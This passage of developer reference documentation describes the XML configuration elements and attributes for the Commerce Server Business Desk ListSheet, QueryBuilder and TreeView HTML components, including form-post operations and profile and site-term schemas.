selectall | Specifies whether the ListSheet HTC will show all items as selected. Optional. Legal values: "yes" and "no". If the value is "yes", all items are selected. Default value: "no".
selection | Specifies whether multiple selection is allowed in this instance of the ListSheet HTC. Optional. Legal values: "single" and "multi". Default value: "single". The Select All and Unselect All buttons are only displayed when the value is "multi".
selectionbuttons | Specifies whether the Select All and Unselect All buttons are displayed. Optional. Legal values: "yes" and "no". If the value is "no", display of the Select All and Unselect All buttons is suppressed. Default value: "yes".
sort | Specifies whether clicking on a column heading sorts the records according to the values in that column. Optional. Legal values: "yes" and "no". If the value is "no", column sorting is disabled and the firing of the OnPage event is suppressed. Default value: "yes".

Return to XML Structure

columns

This required element contains the descriptions of the various columns displayed by the ListSheet HTC.

Parent Element
listsheet
Required Child Elements
column (at least one)
Optional Child Elements
subobject
Data
None.
Attributes
None.

Return to XML Structure

column

This required element provides configuration information about a particular column in a ListSheet HTC.

Parent Element
columns
Required Child Elements
None.
Optional Child Elements
None.
Data
The name of the column as the user sees it.

Attributes

Attribute Description
format Specifies that special formatting should be used for this column.

Optional.

Legal values: "select", "password", "float". See below for additional details.

Default value: None.

The value "select" will look up the display value from a select list within the metadata.

The value "password" will mask the display in the same manner as an HTML password input element.

The value "float" will display the data as a normalized decimal number.
hide Specifies whether the column is displayed.

Optional.

Legal values: "yes" and "no". If the value is "yes", display of this column is suppressed.

Default value: "no".
id Provides the identifier used to associate this column with its corresponding first-level data.

Required.

Legal values: A string that uniquely identifies the corresponding first-level data in the XML data island identified by the DataXML container attribute.

Default value: None.

The ListSheet HTC expects to find this identifier as an XML element in the first-level of the data to be displayed.
id2 Provides the identifier used to associate this column with its corresponding second-level data.

Optional.

Legal values: A string that uniquely identifies the corresponding second-level data in the XML data island identified by the DataXML container attribute.

Default value: None.

The ListSheet HTC expects to find this identifier as an XML element in the second-level of the data to be displayed.

This attribute must be present for each column to be displayed as the second-level of a two- or three-tiered list.
id3 Provides the identifier used to associate this column with its corresponding third-level data.

Optional.

Legal values: A string that uniquely identifies the corresponding third-level data in the XML data island identified by the DataXML container attribute.

Default value: None.

The ListSheet HTC expects to find this identifier as an XML element in the third-level of the data to be displayed.

This attribute must be present for each column to be displayed as the third-level of a two- or three-tiered list.
sortdir When present, specifies the initial sort column and the direction of the sort.

Optional.

Legal values: "asc" and "desc" (ascending or descending, respectively).

Default value: None.

If more than one column has this attribute set, only the first one has any effect.
width Specifies an initial width for the column.

Optional.

Legal values: An integer between 0 and 100, representing column width as a percentage of control width. The specified widths of all columns are normalized if they do not add up to 100.

Default value: None.

If a width is not specified, the width percentage is calculated as the total width divided by the number of displayed columns.

Remarks

At least one column element is required, though typically several column elements will be specified.

Return to XML Structure

subobject

This optional element specifies details about the data displayed in the detail rows of heterogeneous grouped lists. This data is always specified as the second-level data in the DataXML container attribute, and can be displayed in either the list-style or the properties-style, as specified by the type attribute.

Parent Element
columns
Required Child Elements
column
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
datawidth | Specifies an initial width for the data column when the type attribute is set to "properties". Optional. Legal values: An integer between 0 and 100, representing data column width as a percentage of control width. Default value: 50. When the type attribute is set to "list", this attribute is irrelevant and is ignored if present.
labelwidth | Specifies an initial width for the label column when the type attribute is set to "properties". Optional. Legal values: An integer between 0 and 100, representing label column width as a percentage of control width. Default value: 30. When the type attribute is set to "list", this attribute is irrelevant and is ignored if present.
type | Specifies which type of heterogeneous grouped list will be displayed. Required. Legal values: "list" and "properties". Default value: None.

Remarks

Typically, more than one column element will be specified.

The presence of the subobject element indicates that the ListSheet HTC will display as a heterogeneous grouped list. In this case, the id2 and id3 attributes of the top-level column elements are not used.

When the subobject element is absent, the ListSheet HTC will display as either a flat list, a two-level homogeneous grouped item list, or a three-level homogeneous grouped item list, depending on how many of the attributes id, id2, and id3 are specified.

Return to XML Structure

column

This required element provides configuration information about a particular row or column in a ListSheet displaying a heterogeneous grouped list. Whether it is a column or row depends on whether the type attribute of the subobject element is set to "list" or "properties", respectively.

Parent Element
subobject
Required Child Elements
None.
Optional Child Elements
None.
Data
The name of the column or the label on the row as the user sees it.

Attributes

Attribute Description
format Specifies that special formatting should be used for this column or row.

Optional.

Legal values: "select", "password", "float". See below for additional details.

Default value: None.

The value "select" will look up the display value from a select list within the metadata.

The value "password" will mask the display in the same manner as an HTML password input element.

The value "float" will display the data as a normalized decimal number.
hide Specifies whether the column or row is displayed.

Optional.

Legal values: "yes" and "no". If the value is "yes", display of this column or row is suppressed.

Default value: "no".
id Provides the identifier used to associate this column or row with its corresponding second-level data.

Required.

Legal values: A string that uniquely identifies the corresponding second-level data in the XML data island identified by the DataXML container attribute.

Default value: None.

The ListSheet HTC expects to find this identifier as an XML element in the second-level of the data to be displayed.
width Specifies an initial width for the data column when the type attribute of the subobject element is set to "list".

Optional.

Legal values: An integer between 0 and 100, representing data column width as a percentage of control width. The specified widths of all columns are normalized if they do not add up to 100.

Default value: Calculated by dividing the number of subobject columns by 80, resulting in uniform column width in the right-hand 80% of the overall width of the ListSheet HTC.

When the type attribute of the subobject control is set to "properties", this attribute is irrelevant and is ignored if present.

Remarks

If the subobject element is present, at least one column element is required, though in general, multiple column elements will be specified.

Return to XML Structure

operations

This optional element contains other elements that, when present, cause certain standard XMLHTTP operations to be performed when specific events are fired. This set of operations can also be extended with custom operations.

Parent Element
listsheet
Required Child Elements
None.
Optional Child Elements
page, sort, sublist, custom_op
Data
None.
Attributes
None.

Remarks

All child elements, including custom child elements, represent different operations that will be performed when different events occur.

If the operations element is present but contains no child elements, it will be ignored.

The operations corresponding to the child elements are known as XMLHTTP operations. For more information about XMLHTTP operations, see XMLHTTP Operations and Fetch Pages.

Return to XML Structure

page

This optional element corresponds to a standard XMLHTTP operation available with the ListSheet HTC. When this element is present, the entire list reloads with new data after the OnNewPage event fires. The new data is returned from a page on the server and must not contain anything except the data in the standard XML data format.

Parent Element
operations
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
formid | Specifies the identifier of the form that will be posted when the OnNewPage event fires. Required. Legal values: Valid id attribute of a form element. Default value: None.

Remarks

For more information about XMLHTTP operations, see XMLHTTP Operations and Fetch Pages.

The identifier of the corresponding form is set as the formid attribute. The action attribute of the form must be set to the post page: the page that returns the new page of data.

The following table shows the arguments that are sent when the form is posted.

Argument | Description
op | The value of this attribute is set to "page". This argument, combined with the post page specified as an attribute of the form, allows specific server-side code to be run in response to the OnNewPage event. The op argument allows the same post page to process more than one operation, branching to perform different operations based on the value of this argument.
prevpage | The value of this attribute is set to number of the page currently being displayed, soon to be the previous page displayed.
page | The value of this attribute is set to the number of the new page to be displayed.
column | The value of this attribute is set to the ID of the sort column for the new page of data. This ID is the name of the relevant child element of the record element.
direction | The value of this attribute is set to either "asc" or "desc", depending on whether the new page of data should be sorted in the ascending direction or the descending direction, respectively.

For more information about how the posting of forms is used to perform operations on the server, including saving changes to data, see Saving Changes to Data.

Return to XML Structure

sort

This optional element corresponds to a standard XMLHTTP operation available with the ListSheet HTC. When this element is present, the entire list reloads with new data after the OnHeaderClick event fires. The new data is returned from a page on the server and must not contain anything except the data in the standard XML data format.

Parent Element
operations
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
formid | Specifies the identifier of the form that will be posted when the OnHeaderClick event fires. Required. Legal values: Valid id attribute of a form element. Default value: None.

Remarks

For more information about XMLHTTP operations, see XMLHTTP Operations and Fetch Pages.

The identifier of the corresponding form is set as the formid attribute. The action attribute of the form should be set to the post page: the page that returns the first page of data, re-sorted as specified.

The following table shows the arguments that are sent when the form is posted.

Argument | Description
op | The value of this attribute is set to "sort". This argument, combined with the post page specified as an attribute of the form, allows specific server-side code to be run in response to the OnHeaderClick event. The op argument allows the same post page to process more than one operation, branching to perform different operations based on the value of this argument.
page | The value of this attribute is always set to 1. This operation does not permit re-sorting the list without returning to the beginning of the list, where the "top" of the sort will be displayed.
column | The value of this attribute is set to the ID of the sort column for the new page of data. This ID is the name of the relevant child element of the record element.
direction | The value of this attribute is set to either "asc" or "desc", depending on whether the new page of data should be sorted in the ascending direction or the descending direction, respectively.

For more information about how the posting of forms is used to perform operations on the server, including saving changes to data, see Saving Changes to Data.

Return to XML Structure

sublist

This optional element corresponds to a standard XMLHTTP operation available with the ListSheet HTC. When this element is present, the list under the currently selected item loads with data when this operation is invoked using the reload method, which should be called in the OnGroupOpen event handling routine. This means that the retrieval of detail data can be deferred until it needs to be displayed.

Parent Element
operations
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
formid | Specifies the identifier of the form that will be posted when the OnGroupOpen event fires. Required. Legal values: Valid id attribute of a form element. Default value: None.

Remarks

For more information about XMLHTTP operations, see XMLHTTP Operations and Fetch Pages.

The identifier of the corresponding form is set as the formid attribute. The action attribute of the form should be set to the post page, the page that returns the detail data.

The following table shows the arguments that are sent when the form is posted.

Argument | Description
op | The value of this argument is set to "sublist". This argument, combined with the post page specified as an attribute of the form, allows specific server-side code to be run in response to the OnGroupOpen event. The op argument allows the same post page to process more than one operation, branching to perform different operations based on the value of this argument.
xmllist | The value of this argument is set to the XML of the list item that was clicked, so that the post page knows what sub-items to return.

In some situations it might be appropriate to include other parameters in the posted form as part of fetching the correct XML response. For example, suppose a response page is designed to be shared by several different pages, returning different results based on which page calls it. In this case, the form might have a hidden element containing the page name so the response page will know which page called it.

For more information about how the posting of forms is used to perform operations on the server, including saving changes to data, see Saving Changes to Data.

Return to XML Structure

custom_op

Custom operation elements, which are optional, correspond to custom XMLHTTP operations defined for a ListSheet HTC. When a custom operation element is present, the entire list reloads when the reload method is called with its sOp parameter set to the custom name for this element.

Parent Element
operations
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
formid | Specifies the identifier of the form that will be posted when the reload method is called with its sOp parameter set to the custom name for this element. Required. Legal values: Valid id attribute of a form element. Default value: None.

Remarks

For example, if the element double_sort is included as a custom operation, and the reload method is called with its sOp parameter set to "double_sort", the form with the specified identifier will be posted. For example:

bRetVal = elListSheet.reload("double_sort")

The reload method returns False if no XML is returned or if any error elements are present, and True otherwise.

For more information about XMLHTTP operations, see XMLHTTP Operations and Fetch Pages.

The identifier of the corresponding form is set as the formid attribute. The action attribute of the form should be set to the post page, the page that returns the new data.

The following table shows the arguments that are sent when the form is posted.

Argument | Description
op | The value of this attribute is set to "custom_op". This argument, combined with the post page specified as an attribute of the form, allows specific server-side code to be run in response to a particular invocation of the reload method. The op argument allows the same post page to process more than one operation, branching to perform different operations based on the value of this argument.

In some situations it might be appropriate to include other parameters in the posted form as part of fetching the correct XML response. For example, suppose a response page is designed to be shared by several different pages, returning different results based on which page calls it. In this case, the form might have a hidden element containing the page name so the response page will know which page called it.

For more information about how the posting of forms is used to perform operations on the server, including saving changes to data, see Saving Changes to Data.

Return to XML Structure


QueryBuilder Configuration

The XML data-island identified by the XMLCfgID container attribute contains the configuration information used by the QueryBuilder HTML component (HTC).

For more information about how an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.

The structure of this data-island is shown below, with links to more detailed explanations of each element. Element attributes are shown in italic and without the values that are normally associated with them. Required elements and attributes are shown in bold; optional elements and attributes are not bolded.

Note

  • The XML elements and attributes in the MetaXML data-island for the QueryBuilder HTC must be expressed in uppercase letters.

XML Structure

<EBCONFIG>
  <EXPR-ASP>relative URL of exprarch directory</EXPR-ASP>
  <PROFILE-LIST>
    <PROFILE>profile name</PROFILE>
    <PROFILE SRC />
  </PROFILE-LIST>
  <SITE-TERMS URL NOLOAD />
  <EEE-INTRINSICS />
  <DEBUG />
  <TYPESOPS>path to xml file</TYPESOPS>
  <MESSAGE>alternate message</MESSAGE>
  <EDIT-NESTED>always, warn, or never</EDIT-NESTED>
  <DATE-FORMAT>date format</DATE-FORMAT>
  <DATE-FIRSTDAY>first day of week</DATE-FIRSTDAY>
  <NUMBER-FORMAT>number format</NUMBER-FORMAT>
  <CURRENCY-FORMAT>currency format</CURRENCY-FORMAT>
  <HELPTOPIC>help topic URL</HELP-TOPIC>
  <ADVANCED />
  <FILTER-PROPERTIES>XSL expression</FILTER-PROPERTIES>
</EBCONFIG>

EBCONFIG

This required element contains the configuration information for an instance of the QueryBuilder HTC.

Parent Element
None (document root)
Required Child Elements
EXPR-ASP, PROFILE-LIST
Optional Child Elements
ADVANCED, CURRENCY-FORMAT, DATE-FIRSTDAY, DATE-FORMAT, DEBUG, EDIT-NESTED, EEE-INTRINSICS, FILTER-PROPERTIES, HELPTOPIC, MESSAGE, NUMBER-FORMAT, SITE-TERMS, TYPESOPS
Data
None.
Attributes
None.

Return to XML Structure

EXPR-ASP

This required element specifies the relative URL of the Exprarch folder, which is required for the proper functioning of the QueryBuilder HTC.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
None.
Attributes
None.

Return to XML Structure

PROFILE-LIST

This required element contains the specifications of the various profiles used by this instance of the QueryBuilder HTC.

Parent Element
EBCONFIG
Required Child Elements
PROFILE (at least one is required)
Optional Child Elements
None.
Data
None.
Attributes
None.

Return to XML Structure

PROFILE

This required element specifies a profile in one of two distinct ways. For profile definitions defined within Commerce Server, the name of the profile is specified as data associated with the element. For profiles not defined within Commerce Server, the URL of a valid XML document containing one or more profiles is specified as the value of the SRC attribute.

Parent Element
PROFILE-LIST
Required Child Elements
None.
Optional Child Elements
None.
Data
When the SRC attribute is not present, the name of the profile is specified as data within the PROFILE element. Otherwise, no data is present.

Attributes

Attribute | Description
SRC | Provides the URL of a valid XML document that contains one or more profiles not defined within Commerce Server. Optional. Legal values: A valid URL. Default value: None. When this attribute is specified, the PROFILE element should not contain any data.

Remarks

When the name of a Profile Definition defined within Commerce Server is specified as data for this element, the name must be of the form "CatalogName.ProfileName". For example, "UserProfiles.UserObject".

When a profile not defined within Commerce Server is specified using the SRC attribute, it must conform to a defined XML structure for profile specification. For more information about this structure, see Specifying Profiles and Site Terms in the QueryBuilder HTC.

Return to XML Structure

SITE-TERMS

This optional element specifies alternate information about whether the QueryBuilder HTC should load site-terms, and if so, from where.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
NOLOAD | Suppresses the loading of site-terms for this instance of the QueryBuilder HTC (when set to "1"). Optional. Legal values: "1". Default value: None. If site-term loading is suppressed and queries containing site-terms are passed to the QueryBuilder HTC, errors will result. This attribute should not be specified in combination with the URL attribute.
URL | Provides the URL of a valid XML document that contains alternate site-terms for use in this instance of the QueryBuilder HTC. Optional. Legal values: A valid URL. Default value: None. This attribute should not be specified in combination with the NOLOAD attribute.

REMARKS

When the SITE-TERMS element is present, either the NOLOAD attribute or the URL attribute (but not both) must be specified.

When the SITE-TERMS element is not present, site terms are loaded from the same folder specified by the required EXPR-ASP element.

When an alternate set of site terms is specified using the URL attribute, it must conform to the defined XML structure for site term specification. For more information about this structure, see Specifying Profiles and Site Terms in the QueryBuilder HTC.

Return to XML Structure

EEE-INTRINSICS

This optional element, when present, causes the QueryBuilder HTC to expose the intrinsic properties of the Expression Evaluator as a profile in its drop-down menus.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
None.
Attributes
None.

Return to XML Structure

DEBUG

This optional element, when present, causes the QueryBuilder HTC to display debugging information.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
None.
Attributes
None.

Return to XML Structure

TYPESOPS

This optional element, when present, specifies a types and operators XML file for the QueryBuilder HTC to use.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The relative path to the XML types and operators file.
Attributes
None.

Remarks

If this element is not specified, the default types and operators file is /Widgets/ExprbldrHTC/TypesOpsA.xml.

Return to XML Structure

MESSAGE

This optional element, when present, specifies an alternate message to be displayed above the expression-selector area.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The alternate message.
Attributes
None.

Remarks

When the MESSAGE element is not present, the default message is "Target based to the following conditions:".

Return to XML Structure

EDIT-NESTED

This optional element, when present, specifies whether editing of nested expressions is allowed or prevented, or only allowed if the user explicitly allows it in response to a warning dialog box.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
One of the three values "always", "warn", or "never". See Remarks for more details.
Attributes
None.

Remarks

Specifying "always" results in the nested expression being opened in edit mode. In general, this is not recommended.

Specifying "warn" results in a warning dialog box that offers the choice between opening the nested expression in edit mode or view mode.

Specifying "never" results in the nested expression being opened in view mode.

The default behavior, in the event that the EDIT-NESTED element is not present or contains an illegal data value, is to not allow the editing of nested expressions.

The EDIT-NESTED is only relevant when an expression is being created or edited.

Return to XML Structure

DATE-FORMAT

This optional element, when present, specifies the display format for dates.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The display format for dates.
Attributes
None.

Remarks

Valid formats for dates are "m/d/yyyy", "d/m/yyyy", and "yyyy/m/d". The default is "m/d/yyyy". The separator can be specified as any of the following three characters: forward slash ("/"), hyphen ("-"), and period ("."). The default separator is forward slash ("/"). Any number of the characters "m", "d", and "y" may be specified without affecting displayed dates; months and days will always be displayed without a leading zero, and years will always be displayed using 4 digits.

Return to XML Structure

DATE-FIRSTDAY

This optional element, when present, specifies the day of the week that will be considered the first day of the week.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
A number in the range 0 (Sunday) to 6 (Saturday).
Attributes
None.

Remarks

Days of the week are represented by numbers between 0 and 6, as follows: 0 = Sunday; 1 = Monday; 2 = Tuesday, 3 = Wednesday; 4 = Thursday; 5 = Friday, and 6 = Saturday.

If this element is not present, the default first day of the week is Sunday.

Return to XML Structure

NUMBER-FORMAT

This optional element, when present, specifies the display format for numbers.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The display format for numbers.
Attributes
None.

Remarks

Valid formats for numbers are specified using a string that indicates the manner in which negative values will be indicated (or not), relative to the placement of digits. The negative value indicator can be a leading or trailing hyphen ("-"), space-separated from the number or not, or it can be parentheses around the number.

If this element is not present, the default format is "–1.1".

Examples:

1.1 -1.1 1.1- (1.1)

Return to XML Structure

CURRENCY-FORMAT

This optional element, when present, specifies the display format for currency.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The display format for currency.
Attributes
None.

Remarks

Valid formats for currency are specified using a string that indicates the manner in which negative values will be indicated (or not), relative to the placement of digits. The negative value indicator can be a leading or trailing hyphen ("-"), space-separated from the number or not, or it can be parentheses around the number.

If this element is not present, the default format is "–1.1".

No currency symbol should be specified as part of this format.

Examples:

1.1 -1.1 1.1- (1.1)

Return to XML Structure

HELPTOPIC

This optional element, when present, specifies a help topic for this instance of the QueryBuilder HTC.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The absolute URL of the corresponding help topic.
Attributes
None.

Remarks

If this element is present, the QueryBuilder HTC will display a help button, which when clicked will display the specified help topic.

Use the server-side utility routine sRelURL2AbsURL to generate the absolute URL required by this element. For example:

<HELPTOPIC><%=sRelURL2AbsURL("../docs/htm/yourhelpfile.htm")%></HELPTOPIC>

Return to XML Structure

ADVANCED

This optional element, when present, specifies that advanced editing will be allowed. Advanced editing allows the use of the OR operator in expressions.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
None.
Attributes
None.

Remarks

If this element is not present, advanced editing is not allowed.

Return to XML Structure

FILTER-PROPERTIES

This optional element, when present, specifies an XSL pattern fragment used for filtering properties from the profile. If this element is present, the provided XSL pattern will be applied to the properties in each profile that is loaded. Any properties that do not conform to the XSL pattern will not be shown when creating or editing expressions.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The XSL pattern fragment.
Attributes
None.

Remarks

The default XSL pattern fragment is: not(@isActive) || @isActive != '0'

The data values supplied for this element are actually XSL pattern fragments because they are surrounded by the strings "Property[" and "]" to achieve the actual XSL pattern. For example, the actual default XSL pattern, shown with the added strings in bold, is as follows:

Property[not(@isActive) || @isActive != '0']

Element attributes return "0" when they are not defined. Therefore, it is recommended the XSL pattern fragments specified as data for this element check for the presence of an attribute as well as for the attribute value being set to zero. The default XSL pattern is an example of both of these conditions being checked.

Return to XML Structure


Specifying Profiles and Site Terms in the QueryBuilder HTC

Both the PROFILE and SITE-TERMS elements, which are part of the MetaXML for the ExpressionBuilder and QueryBuilder HTCs, can be configured to use alternative profiles and site terms, respectively. These alternative profiles and site terms are specified by providing the URL of an XML file, as the value of the SRC attribute of the PROFILE element and the URL attribute of the SITE-TERMS element, respectively.

The XML structure used to specify alternative profiles and site terms for the QueryBuilder HTC consists of a subset of the more general XML schema used for profiles within Commerce Server. The QueryBuilder HTC is not concerned with all of the elements and attributes of the more general schema, and will ignore those elements and attributes that are not of interest to it.

The XML structures used to specify profiles and site terms are similar enough that they are described here together. In terms of elements, they are the same except for the type of child element that must be present for the Property element.

In the case of profiles, the Property element typically contains one DataRef element, representing the data-member to which the property maps.

In the case of site terms, the Property element contains at least one, and typically several, Attribute elements, each representing one of the choices available for that site term.

In both profile and site term specification, the Group element can be used to organize properties and site terms into a hierarchy. This can be beneficial when there are a large number of properties or site-terms present.

The descriptions of each element and attribute specify whether they are relevant for only profiles, or only site terms.

XML Structure

<Profile name displayName description>
  <Property name displayName description propType
            referenceString isActive isMultiValue isSearchable>
    <DataRef idref />
    . . .
    <DataRef />
    <Attribute name displayName description />
    . . .
    <Attribute />
  </Property>
  . . .
  <Property> . . .</Property>
  <Group name displayName description>
    <Property/>
    <Group/>
  </Group>
  . . .
  <Group> . . .</Group>
</Profile>

Profile

This required element represents a profile definition or the definition of a set of site terms.

Parent Element
None (document root)
Required Child Elements
None.
Optional Child Elements
Property, Group
(At least one is required.)
Data
None.

Attributes

Attribute | Description
name | Provides a programmatic name for this profile or set of site terms, used when accessing it from code. Required. Legal values: Any string up to 30 characters in length. Default value: None.
displayname | Provides a friendly name for the profile or set of site terms, used when it is displayed in a user interface. Required. Legal values: Any string up to 30 characters in length. Default value: Most tools default this value to be the same as name attribute. The value of this attribute may be locale-specific.
description | Stores additional information about the purpose of a set of site terms. If this attribute is present in a profile specification, it is ignored by the QueryBuilder HTC. Optional. Legal values: Any string up to 200 characters in length. Default value: None (an empty string). The value of this attribute may be locale-specific.
defaultTableName, isNew, isModified, isDeleted | These attributes, which may appear in the more general profile schema, are not relevant to site term specification for the QueryBuilder HTC.

Return to XML Structure

Property

This required element represents a single property in a profile definition, or a single site term within a set of site terms.

Parent Elements
Profile, Group
Required Child Elements
None.
Optional Child Elements
DataRef (profiles), Attribute (site terms)
(at least one of the relevant type is required.)
Data
None.

Attributes

Attribute | Description
name | Provides a programmatic name for this property or site term, used when accessing it from code. Required. Legal values: Any string up to 30 characters in length. Default value: None.
displayname | Provides a friendly name for the property or site term, used when it is displayed in a user interface. Required. Legal values: Any string up to 30 characters in length. Default value: Most tools default this value to be the same as name attribute. The value of this attribute may be locale-specific.
description | Stores additional information about the purpose of a site term. If this attribute is present in a profile specification, it is ignored by the QueryBuilder HTC. Optional. Legal values: Any string up to 200 characters in length. Default value: None (an empty string). The value of this attribute may be locale-specific.
propType | Stores the data type of a property. If this attribute is present in a set of site terms, it is ignored by the QueryBuilder HTC. Required. Legal values: STRING, SITETERM, PASSWORD, NUMBER, BOOL, DATE, TIME, DATETIME, PROFILE. Default value: None. The values SITETERM and PASSWORD are strings, but with specific semantics applied. The values DATE, TIME, and DATETIME are all stored as a single date-time data type, but with different semantics applied.
referenceString | Stores supplementary information about the data type of a property. If this attribute is present in a set of site terms, it is ignored by the QueryBuilder HTC. Optional. Legal values: The name of a profile. Default value: None. If the propType attribute specifies a profile, this attribute must specify the name of a profile.
isActive | Indicates whether the value of this property is loaded by the Profile Service. If this attribute is present in a set of site terms, it is ignored by the QueryBuilder HTC. Optional. Legal values: "true" and "false". If the value is "true", the value of this property is loaded by the Profile Service. If the value is "false", the value of this property is not loaded by the Profile Service. Default value: "true".
isMultiValue | Indicates whether this property is multi-valued, that is, consists of a list of values. If this attribute is present in a set of site terms, it is ignored by the QueryBuilder HTC. Optional. Legal values: "true" and "false". If the value is "true", this property is multi-valued. If the value is "false", this property is multi-valued. Default value: "false".
isSearchable | Indicates whether fast searching can be performed on this property. If this attribute is present in a set of site terms, it is ignored by the QueryBuilder HTC. Optional. Legal values: "true" and "false". If the value is "true", fast searching can be performed on this property. If the value is "false", searching on this property can still be performed, but may be slower. Default value: "false".
keyDef, defaultValue, isCached, isDefaultNull, isExported, isHidden, isPrivate, isReadOnly, isRequired, isUpdatable, isNew, isModified, isDeleted | These attributes, which may appear in the more general profile schema, are not relevant to the QueryBuilder HTC. This is true with respect to both profile and site term specification.

Return to XML Structure

Attribute

With respect to the QueryBuilder HTC, this element is only relevant in the specification of sets of site terms. It represents one of the choices available for the site term. In general, there will be several Attribute elements specified, representing a corresponding set of choices.

In the more general profile schema, it may appear as a child element of Profile, Group, Property, and SourceInfo elements.

Parent Element
Property (in site term specifications)
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
name | Provides a programmatic name for this site term choice, used when accessing it from code. Required. Legal values: Any string up to 30 characters in length. Default value: None.
displayname | Provides a friendly name for this site term choice, used when it is displayed in a user interface. Required. Legal values: Any string up to 30 characters in length. Default value: Most tools default this value to be the same as name attribute. The value of this attribute may be locale-specific.
description | Stores additional information about the purpose of a site term choice. Optional. Legal values: Any string up to 200 characters in length. Default value: None (an empty string). The value of this attribute may be locale-specific.
value, isNew, isModified, isDeleted | These attributes, which may appear in the more general profile schema, are not relevant to site term specification for the QueryBuilder HTC.

Return to XML Structure

DataRef

With respect to the QueryBuilder HTC, this element is only relevant in the specification of profiles. In the more general profile schema, it may appear as a child element of Profile, Group, Property, and SourceInfo elements.

This element contains the mapping information about its parent property. Each DataRef element contains a reference to a data member in a data object exposed by a data source. When a profile property is mapped to multiple data members (as when the property is an aggregated property), it will contain multiple DataRef child elements.

Parent Element
Property (in profile specifications)
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
idref | Specifies the data-member to which the parent Property element maps. Required. Legal values: Strings of the form sourceName.objectName.memberName. Default value: None.
isRDNAttribute, isModified | These attributes, which may appear in the more general profile schema, are not relevant to site term specification for the QueryBuilder HTC.

Return to XML Structure

Group

This element represents a logical grouping of properties or site terms, and potentially subgroups, in a profile definition or set of site terms.

Parent Elements
Profile, Group
Required Child Elements
None.
Optional Child Elements
Group, Property
(at least one is required.)
Data
None.

Attributes

Attribute | Description
name | Provides a programmatic name for this group, used when accessing it from code. Required. Legal values: Any string up to 30 characters in length. Default value: None.
displayname | Provides a friendly name for this group, used when it is displayed in a user interface. Required. Legal values: Any string up to 30 characters in length. Default value: Most tools default this value to be the same as name attribute. The value of this attribute may be locale-specific.
description | Stores additional information about the purpose of a group. Optional. Legal values: Any string up to 200 characters in length. Default value: None (an empty string). The value of this attribute may be locale-specific.
isNew, isModified, isDeleted | These attributes, which may appear in the more general profile schema, are not relevant to the QueryBuilder HTC. This is true with respect to both profile and site term specification.

Return to XML Structure


TreeView Configuration

The TreeView control requires that the tree to be displayed be passed to it in the form of an XML data-island. The container attribute DataXML is set to the ID of this data-island.

For more information about the ways in which an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.

It is important to note that the TreeView HTC is the only Commerce Server Business Desk HTC that does not have any configuration data. In other words, there is no MetaXML container attribute that must be specified for the TreeView HTC. Only data is provided, using the DataXML container attribute. The nested nature of the elements provides the nesting shown in the displayed tree.

The structure of this data-island is shown below, with links to more detailed explanations of each element. Element attributes are shown in italic and without the values that are normally associated with them. Required elements and attributes are shown in bold; optional elements and attributes are not bolded.

Note

  • The XML elements and attributes, not including the arbitrarily named elements, in the MetaXML data-island for the TreeView HTC must be expressed in lowercase letters.

XML Structure

<document selection>
  <level_1_element caption closed
                   enabled hidden
                   queryid selected
                   skip>data that might be displayed
    <level_2_element caption closed
                     enabled hidden
                     queryid selected
                     skip>data that might be displayed
      <level_3_element caption closed
                       enabled hidden
                       queryid selected
                       skip>data that might be displayed

Note that levels can go to an arbitrary depth...

      </level_3_element>
    </level_2_element>
  </level_1_element>
  <another_level_1_element caption closed
                           enabled hidden
                           queryid selected
                           skip>data that might be displayed
    <another_level_2_element caption closed
                             enabled hidden
                             queryid selected
                             skip>data that might be displayed
      <expand />
    </another_level_2_element>
  </another_level_1_element>
  <operations>
    <expand formid />
    <custom_op formid />
  </operations>
</document>

document

This required element contains the configuration information for a TreeView HTML Component (HTC).

Parent Element
None (document root)
Required Child Elements
None.
Optional Child Elements
operations, arbitrary_tree_nodes
Data
None.

Attributes

Attribute | Description
selection | Specifies whether multiple selection will be allowed. Optional. Legal values: "single" and "multi", allowing single and multiple selection, respectively. Default value: "single".

Remarks

To be meaningful, the document element must contain one or more elements besides the operations element. The names of these other elements is arbitrary, and in certain circumstances these names are used as the display string for the corresponding tree node shown to the user.

Return to XML Structure

level_N_element

Other than the document element, the two types of expand elements, and the operations element, the names of all elements in the data-island for the TreeView HTC are arbitrary. There are circumstances where the element name itself is displayed in the control; in such cases extra care must be taken with regard to the element names. Otherwise, they can be truly arbitrary with no effect on the functioning of the TreeView HTC. The arbitrary elements may contain data and may contain the caption attribute, but need not.

Parent Element
document, arbitrary_tree_element
Required Child Elements
None.
Optional Child Elements
arbitrary_tree_element
Data
Optionally, a string that will be displayed to the user as the name of the tree node, if no caption attribute value is provided for this element.

Attributes

Attribute | Description
caption Provides the highest precedence choice for text to be displayed to the user.

Optional.

If present, it overrides both data supplied with the element and the element name itself.
closed When set to "yes", the tree item corresponding to this element will initially be displayed as closed.

Optional.

If not present, or set to any other value, and assuming that the element has child elements, the corresponding item is initially displayed as open.
